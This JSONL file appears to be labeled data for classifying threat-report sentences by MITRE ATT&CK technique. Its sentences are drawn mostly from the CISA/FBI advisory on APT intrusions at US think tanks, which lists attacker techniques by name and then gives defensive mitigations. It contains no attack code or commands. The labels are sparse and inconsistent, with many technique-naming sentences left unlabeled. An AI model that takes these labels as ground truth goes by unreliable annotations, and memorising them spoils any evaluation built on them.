{"sentence": "Since reverse engineering can be time intensive, you’ll want to only use manual methods for tasks like unpacking after you’ve exhausted your other tools and options.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Don’t have the time or skills for reverse engineering the volume of packed and obfuscated files your SOC team handles?", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Intezer’s automated alert triage and response process collects files from your endpoint security solution (like CrowdStrike, Microsoft Defender, or SentinelOne) to identify packed files, extract the payload, and then respond autonomously or with the results Intezer provides for remediation.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "To see how Intezer handles reverse engineering tasks for every alert, book a demo here.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The post Malware Reverse Engineering for Beginners – Part 2 appeared first on Intezer.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Original release date: December 1, 2020SummaryThis Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK:registered:) framework.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have observed persistent continued cyber intrusions by advanced persistent threat (APT) actors targeting U.S. think tanks.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "This malicious activity is often, but not exclusively, directed at individuals and organizations that focus on international affairs or national security policy.[1]", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "The following guidance may assist U.S. think tanks in developing network defense procedures to prevent or rapidly detect these attacks.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "APT actors have relied on multiple avenues for initial access.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "These have included low-effort capabilities such as spearphishing emails and third-party message services directed at both corporate and personal accounts, as well as exploiting vulnerable web-facing devices and remote connection capabilities.", "labels": ["T1190"], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Increased telework during the COVID-19 pandemic has expanded workforce reliance on remote connectivity, affording malicious actors more opportunities to exploit those connections and to blend in with increased traffic.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Attackers may leverage virtual private networks (VPNs) and other remote work tools to gain initial access or persistence on a victim’s network.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "When successful, these low-effort, high-reward approaches allow threat actors to steal sensitive information, acquire user credentials, and gain persistent access to victim networks.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Given the importance that think tanks can have in shaping U.S. policy, CISA and FBI urge individuals and organizations in the international affairs and national security sectors to immediately adopt a heightened state of awareness and implement the critical steps listed in the Mitigations section of this Advisory.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Technical DetailsATT&CK Profile CISA created the following MITRE ATT&CK profile to provide a non-exhaustive list of tactics, techniques, and procedures (TTPs) employed by APT actors to break through think tanks’ defenses, conduct reconnaissance in their environments, exfiltrate proprietary or confidential information, and execute effects on targets.", "labels": ["T1005"], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "These TTPs were included based upon closed reporting on APT actors that are known to target think tanks or based upon CISA incident response data.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Initial Access [TA0001] Valid Accounts [T1078] Valid Accounts: Cloud Accounts", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1078.004] External Remote Services [T1133] Drive-by Compromise [T1189] Exploit Public-Facing Application [T1190] Supply Chain Compromise: Compromise Software Supply Chain", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1195.002] Trusted Relationship [T1199] Phishing:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Spearphishing Attachment [T1566.001] Phishing:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Spearphishing Link [T1566.002] Phishing: Spearphishing via Service [T1566.003] Execution [TA0002] Windows Management Instrumentation", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1047] Scheduled Task/Job: Scheduled Task", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1053.005] Command and Scripting Interpreter:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "PowerShell", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Windows Command Shell [T1059.003] Command and Scripting Interpreter:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Unix Shell [T1059.004] Command and Scripting Interpreter:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Visual Basic [T1059.005] Command and Scripting Interpreter:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Python", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1059.006] Native API [T1106] Exploitation for Client Execution [T1203] User Execution: Malicious Link [T1204.001] User Execution: Malicious File [T1204.002] Inter-Process Communication: Dynamic Data Exchange", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1559.002] System Services:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Service Execution [T1569.002] Persistence [TA0003] Boot or Logon Initialization Scripts: Logon Script (Windows)", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1037.001] Scheduled Task/Job: Scheduled Task", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1053.005] Account Manipulation:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Exchange Email Delegate Permissions [T1098.002] Create Account: Local Account [T1136.001] Office Application Startup: Office Test [T1137.002] Office Application Startup:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Outlook Home Page [T1137.004] Browser Extensions [T1176] BITS Jobs", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1197] Server Software Component: Web Shell [T1505.003] Pre-OS Boot:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Bootkit [T1542.003] Create or Modify System Process:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Windows Service [T1543.003] Event Triggered Execution: Change Default File Association", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1546.001] Event Triggered Execution: Windows Management Instrumentation Event Subscription", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1546.003] Event Triggered Execution: Accessibility Features", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1546.008] Event Triggered Execution:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Component Object Model Hijacking", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1546.015] Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1547.001] Boot or Logon Autostart Execution: Shortcut Modification", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1547.009] Privilege Escalation [TA0004] Process Injection [T1055] Process Injection: Process Hollowing", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1055.012] Exploitation for Privilege Escalation", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1068] Access Token Manipulation:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Token Impersonation/Theft", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1134.001] Event Triggered Execution: Accessibility Features", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1546.008] Boot or Logon Autostart Execution: Shortcut Modification", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1547.009] Abuse Elevation Control Mechanism: Bypass User Access Control", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1548.002] Hijack Execution Flow: DLL Side-Loading [T1574.002] Defense Evasion", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[TA0005] Rootkit [T1014] Obfuscated Files or Information:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Binary Padding [T1027.001] Obfuscated Files or Information: Software Packing [T1027.002] Obfuscated Files or Information:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Steganography", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1027.003] Obfuscated Files or Information: Indicator Removal from Tools [T1027.005] Masquerading: Match Legitimate Name or Location", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1036.005] Indicator Removal on Host: Clear Windows Event Logs", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1070.001] Indicator Removal on Host: Clear Command History [1070.003] Indicator Removal on Host: File Deletion", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1070.004] Indicator Removal on Host:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Timestomp [T1070.006] Modify Registry", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1112] Deobfuscate/Decode Files or Information [T1140] Exploitation for Defense Evasion", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1211] Signed Binary Proxy Execution: Compiled HTML File [T1218.001] Signed Binary Proxy Execution:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Mshta [T1218.005] Signed Binary Proxy Execution: Rundll32", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1218.011] Template Injection [T1221] Execution Guardrails: Environmental Keying [T1480.001] Abuse Elevation Control Mechanism: Bypass User Access Control", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1548.002] Use Alternate Authentication Material: Application Access Token", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1550.001] Subvert Trust Controls: Code Signing [T1553.002] Impair Defenses:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Disable or Modify Tools [T1562.001] Impair Defenses: Disable or Modify System Firewall [T1562.004] Hide Artifacts: Hidden Files and Directories", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1564.001] Hide Artifacts:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Hidden Window", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1564.003] Credential Access", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[TA0006] OS Credential Dumping: LSASS Memory [T1003.001] OS Credential Dumping: Security Account Manager [T1003.002] OS Credential Dumping: NTDS", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1003.003] OS Credential Dumping: LSA Secrets [T1003.004] OS Credential Dumping: Cached Domain Credentials [T1003.005]", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Network Sniffing [T1040] Input Capture:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Keylogging [T1056.001] Brute Force: Password Cracking", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1110.002]Brute Force: Password", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Spraying [T1110.003] Forced Authentication [T1187] Steal Application Access", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Token", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1528] Unsecured Credentials: Credentials in Files [T1552.001] Unsecured Credentials: Group Policy Preferences [T1552.006] Credentials from Password Stores: Credentials from Web Browsers", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1555.003] Discovery [TA0007] System Service Discovery", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1007] Query Registry", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1012] System Network Configuration Discovery [T1016] Remote System Discovery [T1018] System Owner/User Discovery [T1033] Network Sniffing [T1040] Network Service Scanning [T1046] System Network Connections Discovery [T1049] Process Discovery", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1057] Permission Groups Discovery: Local Groups [T1069.001] Permission Groups Discovery:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Domain Groups [T1069.002] System Information Discovery [T1082] File and Directory Discovery [T1083] Account Discovery: Local Account [T1087.001] Account Discovery:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Domain Account", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1087.002] Peripheral Device Discovery [T1120] Network Share Discovery [T1135] Password Policy Discovery [T1201] Software Discovery: Security Software Discovery [T1518.001] Lateral Movement", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[TA0008] Remote Services:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Remote Desktop Protocol", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1021.001] Remote Services: SSH [T1021.004] Taint Shared Content [T1080] Replication Through", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Removable Media", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1091] Exploitation of Remote Services [T1210] Use Alternate Authentication Material:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Pass the Hash", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1550.002] Use Alternate Authentication Material:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Pass the Ticket [T1550.003] Collection", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[TA0009] Data from Local System [T1005] Data from Removable Media", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1025] Data Staged: Local Data Staging [T1074.001] Screen Capture [T1113] Email Collection:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Local Email Collection", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1114.001] Email Collection:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Remote Email Collection", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1114.002] Automated Collection [T1119] Audio Capture [T1123] Data from Information Repositories: SharePoint [T1213.002] Archive Collected Data: Archive via Utility [T1560.001] Archive Collected Data: Archive via Custom Method [T1560.003] Command and Control [TA0011] Data Obfuscation: Junk Data [T1001.001] Fallback Channels", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1008] Application Layer Protocol: Web Protocols [T1071.001] Application Layer Protocol:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "File Transfer Protocols", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1071.002] Application Layer Protocol: Mail Protocols [T1071.003] Application Layer Protocol:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "DNS [T1071.004] Proxy: External Proxy [T1090.002] Proxy: Multi-hop", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Proxy [T1090.003] Proxy: Domain Fronting [T1090.004] Communication Through Removable Media", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1092] Non-Application Layer Protocol", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1095] Web Service: Dead Drop Resolver [T1102.001] Web Service:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Bidirectional Communication [T1102.002] Multi-Stage Channels [T1104] Ingress Tool Transfer [T1105] Data Encoding: Standard Encoding [T1132.001] Remote Access Software [T1219] Dynamic Resolution: Domain Generation Algorithms", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1568.002] Non-Standard Port [T1571] Protocol Tunneling [T1572] Encrypted Channel:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Symmetric Cryptography [T1573.001] Encrypted Channel:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Asymmetric Cryptography", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1573.002] Exfiltration [TA0010] Exfiltration Over C2 Channel [T1041] Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1048.003] Impact [TA0040] Data Encrypted for Impact [T1486] Resource Hijacking [T1496] System Shutdown/Reboot [T1529] Disk Wipe: Disk Structure Wipe", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "[T1561.002] MitigationsCISA and FBI recommend think tank organizations apply the following critical practices to strengthen their security posture.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Leaders Implement a training program to familiarize users with identifying social engineering techniques and phishing emails.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Users/Staff Log off remote connections when not in use.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Be vigilant against tailored spearphishing attacks targeting corporate and personal accounts (including both email and social media accounts).", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Use different passwords for corporate and personal accounts.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Install antivirus software on personal devices to automatically scan and quarantine suspicious files.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Employ strong multi-factor authentication for personal accounts, if available.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Exercise caution when: Opening email attachments, even if the attachment is expected and the sender appears to be known.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "See Using Caution with Email Attachments.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Using removable media (e.g., USB thumb drives, external drives, CDs).", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "IT Staff/Cybersecurity Personnel Segment and segregate networks and functions.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Change the default username and password of applications and appliances.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Employ strong multi-factor authentication for corporate accounts.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Deploy antivirus software on organizational devices to automatically scan and quarantine suspicious files.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Apply encryption to data at rest and data in transit.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Use email security appliances to scan and remove malicious email attachments or links. Monitor key internal security tools and identify anomalous behavior.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Flag any known indicators of compromise or threat actor behaviors for immediate response.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Organizations can implement mitigations of varying complexity and restrictiveness to reduce the risk posed by threat actors who use Tor (The Onion Router) to carry out malicious activities.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "See the CISA-FBI Joint Cybersecurity Advisory on Defending Against Malicious Cyber Activity Originating from Tor for mitigation options and additional information.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Prevent exploitation of known software vulnerabilities by routinely applying software patches and upgrades.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Foreign cyber threat actors continue to exploit publicly known—and often dated—software vulnerabilities against broad target sets, including public and private sector organizations.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "If these vulnerabilities are left unpatched, exploitation often requires few resources and provides threat actors with easy access to victim networks.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Review CISA and FBI’s Top 10 Routinely Exploited Vulnerabilities and other CISA alerts that identify vulnerabilities exploited by foreign attackers.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Implement an antivirus program and a formalized patch management process.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Block certain websites and email attachments commonly associated with malware (e.g., .scr, .pif, .cpl, .dll, .exe).", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Block email attachments that cannot be scanned by antivirus software (e.g., .zip files).", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Implement Group Policy Object and firewall rules.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Implement filters at the email gateway and block suspicious IP addresses at the firewall.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Routinely audit domain and local accounts as well as their permission levels to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Follow best practices for design and administration of the network to limit privileged account use across administrative tiers.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Implement a Domain-Based Message Authentication, Reporting & Conformance (DMARC) validation system.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Disable or block unnecessary remote services.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Limit access to remote services through centrally managed concentrators.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Deny direct remote access to internal systems or resources by using network proxies, gateways, and firewalls.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Limit unnecessary lateral communications.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Disable file and printer sharing services.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "If these services are required, use strong passwords or Active Directory authentication.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Ensure applications do not store sensitive data or credentials insecurely.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Enable a firewall on agency workstations, configured to deny unsolicited connection requests.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Disable unnecessary services on agency workstations and servers.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Scan for and remove suspicious email attachments; ensure any scanned attachment is its \"true file type\" (i.e., the extension matches the file header).", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Monitor users' web browsing habits; restrict access to suspicious or risky sites.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Contact law enforcement or CISA immediately regarding any unauthorized network access identified.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Visit the MITRE ATT&CK techniques and tactics pages linked in the ATT&CK Profile section above for additional mitigation and detection strategies for this malicious activity targeting think tanks.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Contact InformationRecipients of this report are encouraged to contribute any additional information that they may have related to this threat.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov.", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "To request incident response resources or technical assistance related to these threats, contact CISA at Central@cisa.gov. References CISA Alert: Microsoft Office 365 Security Recommendations CISA Alert: Technical Approaches to Uncovering and Remediating Malicious Activity CISA", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "Webpage: Telework Guidance CISA Webpage: VPN-Related Guidance FBI Private Industry Notification: PIN 20200409-001 References [1] CyberScoop:", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "As Europe prepares to vote, Microsoft warns of Fancy Bear attacks on democratic think tanks Revisions Initial Version: December 1, 2020", "labels": [], "doc_title": "AA20336A Advanced Persistent Threat Actors Targeting US Think Tanks"}
{"sentence": "RedLine Stealer is a malware strain designed to steal sensitive information from compromised systems.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
{"sentence": "It is typically distributed through phishing emails, social engineering tactics, and malicious URL links.", "labels": [], "doc_title": "Do Not Cross The RedLine Stealer Detections and Analysis"}
